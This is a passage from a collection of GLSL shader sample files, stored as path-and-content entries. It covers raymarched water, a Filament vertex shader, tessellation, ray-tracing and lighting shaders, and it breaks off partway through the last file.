tex = texture2D(iChannel0, uv).r * 0.6 + 0.5;\n\t\t\n\t\tt = resLeaves.w;\n\t\tcol = leavesCol * lightLeaves(pos, resLeaves.xyz) * tex;\n\t}\n\t\n\t// Intersect plants\n\tvec4 resPlants = plants(rayPos, rayDir);\n\tif (resPlants.w > 0.0 && resPlants.w < t)\n\t{\n\t\tt = resPlants.w;\n\t\tcol = resPlants.xyz;\n\t}\n\t\t\n\t// Intersect water\t\n\tvec4 resWater = intersectWater(rayPos, rayDir);\n\tif (resWater.w > 0.0 && resWater.w < t)\n\t{\n\t\tvec3 pos = rayPos + rayDir * resWater.w;\n\t\tfloat dist = t - resWater.w;\n\t\tvec3 n = bump(pos, rayDir);\n\t\t\n\t\tfloat ct = -min(dot(n,rayDir), 0.0);\n\t\tfloat fresnel = 0.9 - 0.9 * pow(1.0 - ct, 5.0);\n\t\t\n\t\tvec3 trans = col * exp(-dist * vec3(1.0, 0.7, 0.4) * 3.0);\n\t\tvec3 reflDir = normalize(reflect(rayDir, n));\n\t\tvec3 refl = sky(reflDir);\n\t\t\n\t\t#ifdef REFLECTIONS\n\t\tif (dot(pos, rayDir) < -2.0)\n\t\t\trefl = traceReflection(pos, reflDir).rgb;\n\t\t#endif\n\t\t\t\t\n\t\tt = resWater.t;\n\t\tcol = mix(refl, trans, fresnel);\n\t}\n\t\n\tif (t > 1e7) return sky(rayDir);\n\t\n\treturn col;\n}\n\n// Ray-generation\nvec3 camera(vec2 px)\n{\n\tvec2 rd = (px / iResolution.yy - vec2(iResolution.x/iResolution.y*0.5-0.5, 0.0)) * 2.0 - 1.0;\n\tfloat t = sin(iGlobalTime * 0.1) * 0.2;\n\tvec3 rayDir = normalize(vec3(rd.x, rd.y, 1.0));\n\tvec3 rayPos = vec3(0.0, 3.0, -18.0);\n\treturn trace(rayPos, rayDir);\n}\n\nvoid main(void)\n{\n\t#ifdef HEAVY_AA\n\t\tvec3 col = camera(gl_FragCoord.xy+vec2(0.0,0.5))*0.25;\n\t\tcol += camera(gl_FragCoord.xy+vec2(0.25,0.0))*0.25;\n\t\tcol += camera(gl_FragCoord.xy+vec2(0.5,0.75))*0.25;\n\t\tcol += camera(gl_FragCoord.xy+vec2(0.75,0.25))*0.25;\n\t#else\n\t\tvec3 col = camera(gl_FragCoord.xy);\n\t\t#ifdef LIGHT_AA\n\t\t\tcol = col * 0.5 + camera(gl_FragCoord.xy+vec2(0.5,0.5))*0.5;\n\t\t#endif\n\t#endif\n\t\n\t#ifdef TONEMAP\n\t// Optimized Haarm-Peter Duiker’s curve\n\tvec3 x = max(vec3(0.0),col*exposure-0.004);\n\tcol = (x*(6.2*x+.5))/(x*(6.2*x+1.7)+0.06);\n\t#else\n\tcol = pow(col, vec3(0.4545));\n\t#endif\n\t\n\tgl_FragColor = vec4(col, 1.0);\n}"
  },
  {
    "path": "samples/GLSL/main.vs",
    "content": "/*\n * This is the main vertex shader of surface materials. It can be invoked with\n * USE_OPTIMIZED_DEPTH_VERTEX_SHADER defined, and in this case we are guaranteed that the\n * DEPTH variant is active *AND* there is no custom vertex shader (i.e.: materialVertex() is\n * empty).\n * We can use this to remove all code that doesn't participate in the depth computation.\n */\n\nvoid main() {\n#if defined(FILAMENT_HAS_FEATURE_INSTANCING)\n#   if defined(TARGET_METAL_ENVIRONMENT) || defined(TARGET_VULKAN_ENVIRONMENT)\n    instance_index = gl_InstanceIndex;\n#   else\n    // PowerVR drivers don't initialize gl_InstanceID correctly if it's assigned to the varying\n    // directly and early in the shader. Adding a bit of extra integer math, works around it.\n    // Using an intermediate variable doesn't work because of spirv-opt.\n    if (CONFIG_POWER_VR_SHADER_WORKAROUNDS) {\n        instance_index = (1 + gl_InstanceID) - 1;\n    } else {\n        instance_index = gl_InstanceID;\n    }\n#   endif\n    logical_instance_index = instance_index;\n#endif\n\n#if defined(VARIANT_HAS_INSTANCED_STEREO)\n#if !defined(FILAMENT_HAS_FEATURE_INSTANCING)\n#error Instanced stereo not supported at this feature level\n#endif\n    // The lowest bit of the instance index represents the eye.\n    // This logic must be updated if CONFIG_STEREOSCOPIC_EYES changes\n    logical_instance_index = instance_index >> 1;\n#endif\n\n    initObjectUniforms();\n\n    // Initialize the inputs to sensible default values, see material_inputs.vs\n#if defined(USE_OPTIMIZED_DEPTH_VERTEX_SHADER)\n\n    // In USE_OPTIMIZED_DEPTH_VERTEX_SHADER mode, we can even skip this if we're already in\n    // VERTEX_DOMAIN_DEVICE and we don't have VSM.\n#if !defined(VERTEX_DOMAIN_DEVICE) || defined(VARIANT_HAS_VSM)\n    // Run initMaterialVertex to compute material.worldPosition.\n    MaterialVertexInputs material;\n    initMaterialVertex(material);\n    // materialVertex() is guaranteed to be empty here, but we keep it to workaround some problem\n    // in NVIDA drivers related to depth invariance.\n    materialVertex(material);\n#endif\n\n#else // defined(USE_OPTIMIZED_DEPTH_VERTEX_SHADER)\n\n    MaterialVertexInputs material;\n    initMaterialVertex(material);\n\n#if defined(HAS_ATTRIBUTE_TANGENTS)\n    // If the material defines a value for the \"normal\" property, we need to output\n    // the full orthonormal basis to apply normal mapping\n    #if defined(MATERIAL_NEEDS_TBN)\n        // Extract the normal and tangent in world space from the input quaternion\n        // We encode the orthonormal basis as a quaternion to save space in the attributes\n        toTangentFrame(mesh_tangents, material.worldNormal, vertex_worldTangent.xyz);\n\n        #if defined(VARIANT_HAS_SKINNING_OR_MORPHING)\n        if ((object_uniforms_flagsChannels & FILAMENT_OBJECT_MORPHING_ENABLED_BIT) != 0) {\n            #if defined(LEGACY_MORPHING)\n            vec3 normal0, normal1, normal2, normal3;\n            toTangentFrame(mesh_custom4, normal0);\n            toTangentFrame(mesh_custom5, normal1);\n            toTangentFrame(mesh_custom6, normal2);\n            toTangentFrame(mesh_custom7, normal3);\n            vec3 baseNormal = material.worldNormal;\n            material.worldNormal += morphingUniforms.weights[0].xyz * (normal0 - baseNormal);\n            material.worldNormal += morphingUniforms.weights[1].xyz * (normal1 - baseNormal);\n            material.worldNormal += morphingUniforms.weights[2].xyz * (normal2 - baseNormal);\n            material.worldNormal += morphingUniforms.weights[3].xyz * (normal3 - baseNormal);\n            #else\n            morphNormal(material.worldNormal);\n            material.worldNormal = normalize(material.worldNormal);\n            #endif\n        }\n\n        if ((object_uniforms_flagsChannels & FILAMENT_OBJECT_SKINNING_ENABLED_BIT) != 0) {\n            skinNormal(material.worldNormal, mesh_bone_indices, mesh_bone_weights);\n            skinNormal(vertex_worldTangent.xyz, mesh_bone_indices, mesh_bone_weights);\n        }\n        #endif\n\n        // We don't need to normalize here, even if there's a scale in the matrix\n        // because we ensure the worldFromModelNormalMatrix pre-scales the normal such that\n        // all its components are < 1.0. This prevents the bitangent to exceed the range of fp16\n        // in the fragment shader, where we renormalize after interpolation\n        vertex_worldTangent.xyz = getWorldFromModelNormalMatrix() * vertex_worldTangent.xyz;\n        vertex_worldTangent.w = mesh_tangents.w;\n        material.worldNormal = getWorldFromModelNormalMatrix() * material.worldNormal;\n    #else // MATERIAL_NEEDS_TBN\n        // Without anisotropy or normal mapping we only need the normal vector\n        toTangentFrame(mesh_tangents, material.worldNormal);\n\n        #if defined(VARIANT_HAS_SKINNING_OR_MORPHING)\n        if ((object_uniforms_flagsChannels & FILAMENT_OBJECT_MORPHING_ENABLED_BIT) != 0) {\n            #if defined(LEGACY_MORPHING)\n            vec3 normal0, normal1, normal2, normal3;\n            toTangentFrame(mesh_custom4, normal0);\n            toTangentFrame(mesh_custom5, normal1);\n            toTangentFrame(mesh_custom6, normal2);\n            toTangentFrame(mesh_custom7, normal3);\n            vec3 baseNormal = material.worldNormal;\n            material.worldNormal += morphingUniforms.weights[0].xyz * (normal0 - baseNormal);\n            material.worldNormal += morphingUniforms.weights[1].xyz * (normal1 - baseNormal);\n            material.worldNormal += morphingUniforms.weights[2].xyz * (normal2 - baseNormal);\n            material.worldNormal += morphingUniforms.weights[3].xyz * (normal3 - baseNormal);\n            #else\n            morphNormal(material.worldNormal);\n            material.worldNormal = normalize(material.worldNormal);\n            #endif\n        }\n\n        if ((object_uniforms_flagsChannels & FILAMENT_OBJECT_SKINNING_ENABLED_BIT) != 0) {\n            skinNormal(material.worldNormal, mesh_bone_indices, mesh_bone_weights);\n        }\n        #endif\n\n        material.worldNormal = getWorldFromModelNormalMatrix() * material.worldNormal;\n\n    #endif // MATERIAL_HAS_ANISOTROPY || MATERIAL_HAS_NORMAL || MATERIAL_HAS_CLEAR_COAT_NORMAL\n#endif // HAS_ATTRIBUTE_TANGENTS\n\n    // Invoke user code\n    materialVertex(material);\n\n    // Handle built-in interpolated attributes\n#if defined(HAS_ATTRIBUTE_COLOR)\n    vertex_color = material.color;\n#endif\n#if defined(HAS_ATTRIBUTE_UV0)\n    vertex_uv01.xy = material.uv0;\n#endif\n#if defined(HAS_ATTRIBUTE_UV1)\n    vertex_uv01.zw = material.uv1;\n#endif\n\n    // Handle user-defined interpolated attributes\n#if defined(VARIABLE_CUSTOM0)\n    VARIABLE_CUSTOM_AT0 = material.VARIABLE_CUSTOM0;\n#endif\n#if defined(VARIABLE_CUSTOM1)\n    VARIABLE_CUSTOM_AT1 = material.VARIABLE_CUSTOM1;\n#endif\n#if defined(VARIABLE_CUSTOM2)\n    VARIABLE_CUSTOM_AT2 = material.VARIABLE_CUSTOM2;\n#endif\n#if defined(VARIABLE_CUSTOM3)\n    VARIABLE_CUSTOM_AT3 = material.VARIABLE_CUSTOM3;\n#endif\n\n    // The world position can be changed by the user in materialVertex()\n    vertex_worldPosition.xyz = material.worldPosition.xyz;\n\n#ifdef HAS_ATTRIBUTE_TANGENTS\n    vertex_worldNormal = material.worldNormal;\n#endif\n\n#if defined(VARIANT_HAS_SHADOWING) && defined(VARIANT_HAS_DIRECTIONAL_LIGHTING)\n    vertex_lightSpacePosition = computeLightSpacePosition(\n            vertex_worldPosition.xyz, vertex_worldNormal,\n            frameUniforms.lightDirection,\n            shadowUniforms.shadows[0].normalBias,\n            shadowUniforms.shadows[0].lightFromWorldMatrix);\n#endif\n\n#endif // !defined(USE_OPTIMIZED_DEPTH_VERTEX_SHADER)\n\n    vec4 position;\n\n#if defined(VERTEX_DOMAIN_DEVICE)\n    // The other vertex domains are handled in initMaterialVertex()->computeWorldPosition()\n    position = getPosition();\n\n#if !defined(USE_OPTIMIZED_DEPTH_VERTEX_SHADER)\n#if defined(MATERIAL_HAS_CLIP_SPACE_TRANSFORM)\n    position = getMaterialClipSpaceTransform(material) * position;\n#endif\n#endif // !USE_OPTIMIZED_DEPTH_VERTEX_SHADER\n\n#if defined(MATERIAL_HAS_VERTEX_DOMAIN_DEVICE_JITTERED)\n    // Apply the clip-space transform which is normally part of the projection\n    position.xy = position.xy * frameUniforms.clipTransform.xy + (position.w * frameUniforms.clipTransform.zw);\n#endif\n#else\n    position = getClipFromWorldMatrix() * getWorldPosition(material);\n#endif\n\n#if defined(VERTEX_DOMAIN_DEVICE)\n    // GL convention to inverted DX convention (must happen after clipSpaceTransform)\n    position.z = position.z * -0.5 + 0.5;\n#endif\n\n#if defined(VARIANT_HAS_VSM)\n    // For VSM, we use the linear light-space Z coordinate as the depth metric, which works for both\n    // directional and spot lights and can be safely interpolated.\n    // The value is guaranteed to be between [-znear, -zfar] by construction of viewFromWorldMatrix,\n    // (see ShadowMap.cpp).\n    // Use vertex_worldPosition.w which is otherwise not used to store the interpolated\n    // light-space depth.\n    highp float z = (getViewFromWorldMatrix() * getWorldPosition(material)).z;\n\n    // rescale [near, far] to [0, 1]\n    highp float depth = -z * frameUniforms.oneOverFarMinusNear - frameUniforms.nearOverFarMinusNear;\n\n    // remap depth between -1 and 1\n    depth = depth * 2.0 - 1.0;\n\n    vertex_worldPosition.w = depth;\n#endif\n\n    // this must happen before we compensate for vulkan below\n    vertex_position = position;\n\n#if defined(VARIANT_HAS_INSTANCED_STEREO)\n    // This logic must be updated if CONFIG_STEREOSCOPIC_EYES changes\n    // We're transforming a vertex whose x coordinate is within the range (-w to w).\n    // To move it to the correct half of the viewport, we need to modify the x coordinate:\n    //      Eye 0  (left half): (-w to 0)\n    //      Eye 1 (right half): ( 0 to w)\n    // It's important to do this after computing vertex_position.\n    int eyeIndex = instance_index % 2;\n    float eyeShift = float(eyeIndex) * 2.0f - 1.0f;     // eye 0: -1.0,     eye 1: 1.0\n    position.x = position.x * 0.5f + (position.w * 0.5 * eyeShift);\n\n    // A fragment is clipped when gl_ClipDistance is negative (outside the clip plane). So,\n    // Eye 0 should have a positive value when x is < 0\n    //      -position.x\n    // Eye 1 should have a positive value when x is > 0\n    //       position.x\n    FILAMENT_CLIPDISTANCE[0] = position.x * eyeShift;\n#endif\n\n#if defined(TARGET_VULKAN_ENVIRONMENT)\n    // In Vulkan, clip space is Y-down. In OpenGL and Metal, clip space is Y-up.\n    position.y = -position.y;\n#endif\n\n#if !defined(TARGET_VULKAN_ENVIRONMENT) && !defined(TARGET_METAL_ENVIRONMENT)\n    // This is not needed in Vulkan or Metal because clipControl is always (1, 0)\n    // (We don't use a dot() here because it workaround a spirv-opt optimization that in turn\n    //  causes a crash on PowerVR, see #5118)\n    position.z = position.z * frameUniforms.clipControl.x + position.w * frameUniforms.clipControl.y;\n#endif\n\n    // some PowerVR drivers crash when gl_Position is written more than once\n    gl_Position = position;\n\n#if defined(VARIANT_HAS_INSTANCED_STEREO)\n    // Fragment shaders filter out the stereo variant, so we need to set instance_index here.\n    instance_index = logical_instance_index;\n#endif\n}\n"
  },
  {
    "path": "samples/GLSL/miss.rmiss",
    "content": "#version 460\n#extension GL_EXT_ray_tracing : require\n\nstruct RayPayload {\n\tvec3 color;\n\tfloat distance;\n\tvec3 normal;\n\tfloat reflector;\n};\n\nlayout(location = 0) rayPayloadInEXT RayPayload rayPayload;\n\nvoid main()\n{\n\t// View-independent background gradient to simulate a basic sky background\n\tconst vec3 gradientStart = vec3(0.5, 0.6, 1.0);\n\tconst vec3 gradientEnd = vec3(1.0);\n\tvec3 unitDir = normalize(gl_WorldRayDirectionEXT);\n\tfloat t = 0.5 * (unitDir.y + 1.0);\n\trayPayload.color = (1.0-t) * gradientStart + t * gradientEnd;\n\n\trayPayload.distance = -1.0f;\n\trayPayload.normal = vec3(0.0f);\n\trayPayload.reflector = 0.0f;\n}\n"
  },
  {
    "path": "samples/GLSL/myfragment.frg",
    "content": "varying vec4 v_color;\n\nvoid main()\n{\n\tgl_FragColor = v_color;\n}"
  },
  {
    "path": "samples/GLSL/myvertex.vrx",
    "content": "uniform mat4 u_MVPMatrix;\n\nattribute vec4 a_position;\nattribute vec4 a_color;\n\nvarying vec4 v_color;\n\nvoid main()\n{\n\tv_color = a_color;\n\tgl_Position =  u_MVPMatrix * pos;\n}"
  },
  {
    "path": "samples/GLSL/pntriangles.tesc",
    "content": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Sascha Willems\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n\n#version 450\n\n#extension GL_ARB_separate_shader_objects : enable\n#extension GL_ARB_shading_language_420pack : enable\n\n// PN patch data\nstruct PnPatch\n{\n float b210;\n float b120;\n float b021;\n float b012;\n float b102;\n float b201;\n float b111;\n float n110;\n float n011;\n float n101;\n};\n\n// tessellation levels\nlayout (binding = 0) uniform UBO \n{\n\tfloat tessLevel;\n} ubo; \n\nlayout(vertices=3) out;\n\nlayout(location = 0) in vec3 inNormal[];\nlayout(location = 1) in vec2 inUV[];\n\nlayout(location = 0) out vec3 outNormal[3];\nlayout(location = 3) out vec2 outUV[3];\nlayout(location = 6) out PnPatch outPatch[3];\n\nfloat wij(int i, int j)\n{\n\treturn dot(gl_in[j].gl_Position.xyz - gl_in[i].gl_Position.xyz, inNormal[i]);\n}\n\nfloat vij(int i, int j)\n{\n\tvec3 Pj_minus_Pi = gl_in[j].gl_Position.xyz\n\t\t\t\t\t- gl_in[i].gl_Position.xyz;\n\tvec3 Ni_plus_Nj  = inNormal[i]+inNormal[j];\n\treturn 2.0*dot(Pj_minus_Pi, Ni_plus_Nj)/dot(Pj_minus_Pi, Pj_minus_Pi);\n}\n\nvoid main()\n{\n\t// get data\n\tgl_out[gl_InvocationID].gl_Position = gl_in[gl_InvocationID].gl_Position;\n\toutNormal[gl_InvocationID]            = inNormal[gl_InvocationID];\n\toutUV[gl_InvocationID]          = inUV[gl_InvocationID];\n\n\t// set base \n\tfloat P0 = gl_in[0].gl_Position[gl_InvocationID];\n\tfloat P1 = gl_in[1].gl_Position[gl_InvocationID];\n\tfloat P2 = gl_in[2].gl_Position[gl_InvocationID];\n\tfloat N0 = inNormal[0][gl_InvocationID];\n\tfloat N1 = inNormal[1][gl_InvocationID];\n\tfloat N2 = inNormal[2][gl_InvocationID];\n\n\t// compute control points\n\toutPatch[gl_InvocationID].b210 = (2.0*P0 + P1 - wij(0,1)*N0)/3.0;\n\toutPatch[gl_InvocationID].b120 = (2.0*P1 + P0 - wij(1,0)*N1)/3.0;\n\toutPatch[gl_InvocationID].b021 = (2.0*P1 + P2 - wij(1,2)*N1)/3.0;\n\toutPatch[gl_InvocationID].b012 = (2.0*P2 + P1 - wij(2,1)*N2)/3.0;\n\toutPatch[gl_InvocationID].b102 = (2.0*P2 + P0 - wij(2,0)*N2)/3.0;\n\toutPatch[gl_InvocationID].b201 = (2.0*P0 + P2 - wij(0,2)*N0)/3.0;\n\tfloat E = ( outPatch[gl_InvocationID].b210\n\t\t\t+ outPatch[gl_InvocationID].b120\n\t\t\t+ outPatch[gl_InvocationID].b021\n\t\t\t+ outPatch[gl_InvocationID].b012\n\t\t\t+ outPatch[gl_InvocationID].b102\n\t\t\t+ outPatch[gl_InvocationID].b201 ) / 6.0;\n\tfloat V = (P0 + P1 + P2)/3.0;\n\toutPatch[gl_InvocationID].b111 = E + (E - V)*0.5;\n\toutPatch[gl_InvocationID].n110 = N0+N1-vij(0,1)*(P1-P0);\n\toutPatch[gl_InvocationID].n011 = N1+N2-vij(1,2)*(P2-P1);\n\toutPatch[gl_InvocationID].n101 = N2+N0-vij(2,0)*(P0-P2);\n\n\t// set tess levels\n\tgl_TessLevelOuter[gl_InvocationID] = ubo.tessLevel;\n\tgl_TessLevelInner[0] = ubo.tessLevel;\n}\n"
  },
  {
    "path": "samples/GLSL/pntriangles.tese",
    "content": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Sascha Willems\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n\n#version 450\n\n#extension GL_ARB_separate_shader_objects : enable\n#extension GL_ARB_shading_language_420pack : enable\n\n// PN patch data\nstruct PnPatch\n{\n float b210;\n float b120;\n float b021;\n float b012;\n float b102;\n float b201;\n float b111;\n float n110;\n float n011;\n float n101;\n};\n\nlayout (binding = 1) uniform UBO \n{\n    mat4 projection;\n    mat4 model;\n    float tessAlpha;\n} ubo;\n\nlayout(triangles, fractional_odd_spacing, ccw) in;\n\nlayout(location = 0) in vec3 iNormal[];\nlayout(location = 3) in vec2 iTexCoord[];\nlayout(location = 6) in PnPatch iPnPatch[];\n\nlayout(location = 0) out vec3 oNormal;\nlayout(location = 1) out vec2 oTexCoord;\n\n#define uvw gl_TessCoord\n\nvoid main()\n{\n    vec3 uvwSquared = uvw * uvw;\n    vec3 uvwCubed   = uvwSquared * uvw;\n\n    // extract control points\n    vec3 b210 = vec3(iPnPatch[0].b210, iPnPatch[1].b210, iPnPatch[2].b210);\n    vec3 b120 = vec3(iPnPatch[0].b120, iPnPatch[1].b120, iPnPatch[2].b120);\n    vec3 b021 = vec3(iPnPatch[0].b021, iPnPatch[1].b021, iPnPatch[2].b021);\n    vec3 b012 = vec3(iPnPatch[0].b012, iPnPatch[1].b012, iPnPatch[2].b012);\n    vec3 b102 = vec3(iPnPatch[0].b102, iPnPatch[1].b102, iPnPatch[2].b102);\n    vec3 b201 = vec3(iPnPatch[0].b201, iPnPatch[1].b201, iPnPatch[2].b201);\n    vec3 b111 = vec3(iPnPatch[0].b111, iPnPatch[1].b111, iPnPatch[2].b111);\n\n    // extract control normals\n    vec3 n110 = normalize(vec3(iPnPatch[0].n110, iPnPatch[1].n110, iPnPatch[2].n110));\n    vec3 n011 = normalize(vec3(iPnPatch[0].n011, iPnPatch[1].n011, iPnPatch[2].n011));\n    vec3 n101 = normalize(vec3(iPnPatch[0].n101, iPnPatch[1].n101, iPnPatch[2].n101));\n\n    // compute texcoords\n    oTexCoord  = gl_TessCoord[2]*iTexCoord[0] + gl_TessCoord[0]*iTexCoord[1] + gl_TessCoord[1]*iTexCoord[2];\n\n    // normal\n    // Barycentric normal\n    vec3 barNormal = gl_TessCoord[2]*iNormal[0] + gl_TessCoord[0]*iNormal[1] + gl_TessCoord[1]*iNormal[2];\n    vec3 pnNormal  = iNormal[0]*uvwSquared[2] + iNormal[1]*uvwSquared[0] + iNormal[2]*uvwSquared[1]\n                   + n110*uvw[2]*uvw[0] + n011*uvw[0]*uvw[1]+ n101*uvw[2]*uvw[1];\n    oNormal = ubo.tessAlpha*pnNormal + (1.0-ubo.tessAlpha) * barNormal;\n\n    // compute interpolated pos\n    vec3 barPos = gl_TessCoord[2]*gl_in[0].gl_Position.xyz\n                + gl_TessCoord[0]*gl_in[1].gl_Position.xyz\n                + gl_TessCoord[1]*gl_in[2].gl_Position.xyz;\n\n    // save some computations\n    uvwSquared *= 3.0;\n\n    // compute PN position\n    vec3 pnPos  = gl_in[0].gl_Position.xyz*uvwCubed[2]\n                + gl_in[1].gl_Position.xyz*uvwCubed[0]\n                + gl_in[2].gl_Position.xyz*uvwCubed[1]\n                + b210*uvwSquared[2]*uvw[0]\n                + b120*uvwSquared[0]*uvw[2]\n                + b201*uvwSquared[2]*uvw[1]\n                + b021*uvwSquared[0]*uvw[1]\n                + b102*uvwSquared[1]*uvw[2]\n                + b012*uvwSquared[1]*uvw[0]\n                + b111*6.0*uvw[0]*uvw[1]*uvw[2];\n\n    // final position and normal\n    vec3 finalPos = (1.0-ubo.tessAlpha)*barPos + ubo.tessAlpha*pnPos;\n gl_Position   = ubo.projection * ubo.model * vec4(finalPos,1.0);\n}\n"
  },
  {
    "path": "samples/GLSL/project.vs",
    "content": "#version 100\nattribute vec2 pos;\nattribute vec3 rayvtx;\nvarying vec3 Ray;\nuniform vec4 split;\n\nvoid main()\n{\n\tRay = rayvtx;\n\tgl_Position = vec4(pos * vec2(split.z, split.w) + vec2(split.x, split.y),\n\t\t\t\t\t   0.0, 1.0);\n}"
  },
  {
    "path": "samples/GLSL/recurse1.frag",
    "content": "#version 330 core\r\n\r\n// cross-unit recursion\r\n\r\nvoid main() {}\r\n\r\n// two-level recursion\r\n\r\nfloat cbar(int);\r\n\r\nvoid cfoo(float)\r\n{\r\n\tcbar(2);\r\n}\r\n\r\n// four-level, out of order\r\n\r\nvoid CB();\r\nvoid CD();\r\nvoid CA() { CB(); }\r\nvoid CC() { CD(); }\r\n\r\n// high degree\r\n\r\nvoid CBT();\r\nvoid CDT();\r\nvoid CAT() { CBT(); CBT(); CBT(); }\r\nvoid CCT() { CDT(); CDT(); CBT(); }\r\n\r\n// not recursive\r\n\r\nvoid norA() {}\r\nvoid norB() { norA(); }\r\nvoid norC() { norA(); }\r\nvoid norD() { norA(); }\r\nvoid norE() { norB(); }\r\nvoid norF() { norB(); }\r\nvoid norG() { norE(); }\r\nvoid norH() { norE(); }\r\nvoid norI() { norE(); }\r\n\r\n// not recursive, but with a call leading into a cycle if ignoring direction\r\n\r\nvoid norcA() { }\r\nvoid norcB() { norcA(); }\r\nvoid norcC() { norcB(); }\r\nvoid norcD() { norcC(); norcB(); } // head of cycle\r\nvoid norcE() { norcD(); } // lead into cycle\r\n"
  },
  {
    "path": "samples/GLSL/recurse1.fs",
    "content": "#version 330 core\r\n\r\n// cross-unit recursion\r\n\r\nvoid main() {}\r\n\r\n// two-level recursion\r\n\r\nfloat cbar(int);\r\n\r\nvoid cfoo(float)\r\n{\r\n\tcbar(2);\r\n}\r\n\r\n// four-level, out of order\r\n\r\nvoid CB();\r\nvoid CD();\r\nvoid CA() { CB(); }\r\nvoid CC() { CD(); }\r\n\r\n// high degree\r\n\r\nvoid CBT();\r\nvoid CDT();\r\nvoid CAT() { CBT(); CBT(); CBT(); }\r\nvoid CCT() { CDT(); CDT(); CBT(); }\r\n\r\n// not recursive\r\n\r\nvoid norA() {}\r\nvoid norB() { norA(); }\r\nvoid norC() { norA(); }\r\nvoid norD() { norA(); }\r\nvoid norE() { norB(); }\r\nvoid norF() { norB(); }\r\nvoid norG() { norE(); }\r\nvoid norH() { norE(); }\r\nvoid norI() { norE(); }\r\n\r\n// not recursive, but with a call leading into a cycle if ignoring direction\r\n\r\nvoid norcA() { }\r\nvoid norcB() { norcA(); }\r\nvoid norcC() { norcB(); }\r\nvoid norcD() { norcC(); norcB(); } // head of cycle\r\nvoid norcE() { norcD(); } // lead into cycle\r\n"
  },
  {
    "path": "samples/GLSL/shader.fp",
    "content": "/*\n * Copyright (C) 2010 Josh A. Beam\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *   1. Redistributions of source code must retain the above copyright\n *      notice, this list of conditions and the following disclaimer.\n *   2. Redistributions in binary form must reproduce the above copyright\n *      notice, this list of conditions and the following disclaimer in the\n *      documentation and/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;\n * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\nconst int NUM_LIGHTS = 3;\nconst vec3 AMBIENT = vec3(0.1, 0.1, 0.1);\nconst float MAX_DIST = 2.5;\nconst float MAX_DIST_SQUARED = MAX_DIST * MAX_DIST;\n\nuniform vec3 lightColor[NUM_LIGHTS];\n\nvarying vec3 fragmentNormal;\nvarying vec3 cameraVector;\nvarying vec3 lightVector[NUM_LIGHTS];\n\nvoid\nmain()\n{\n\t// initialize diffuse/specular lighting\n\tvec3 diffuse = vec3(0.0, 0.0, 0.0);\n\tvec3 specular = vec3(0.0, 0.0, 0.0);\n\n\t// normalize the fragment normal and camera direction\n\tvec3 normal = normalize(fragmentNormal);\n\tvec3 cameraDir = normalize(cameraVector);\n\n\t// loop through each light\n\tfor(int i = 0; i < NUM_LIGHTS; ++i) {\n\t\t// calculate distance between 0.0 and 1.0\n\t\tfloat dist = min(dot(lightVector[i], lightVector[i]), MAX_DIST_SQUARED) / MAX_DIST_SQUARED;\n\t\tfloat distFactor = 1.0 - dist;\n\n\t\t// diffuse\n\t\tvec3 lightDir = normalize(lightVector[i]);\n\t\tfloat diffuseDot = dot(normal, lightDir);\n\t\tdiffuse += lightColor[i] * clamp(diffuseDot, 0.0, 1.0) * distFactor;\n\n\t\t// specular\n\t\tvec3 halfAngle = normalize(cameraDir + lightDir);\n\t\tvec3 specularColor = min(lightColor[i] + 0.5, 1.0);\n\t\tfloat specularDot = dot(normal, halfAngle);\n\t\tspecular += specularColor * pow(clamp(specularDot, 0.0, 1.0), 16.0) * distFactor;\n\t}\n\n\tvec4 sample = vec4(1.0, 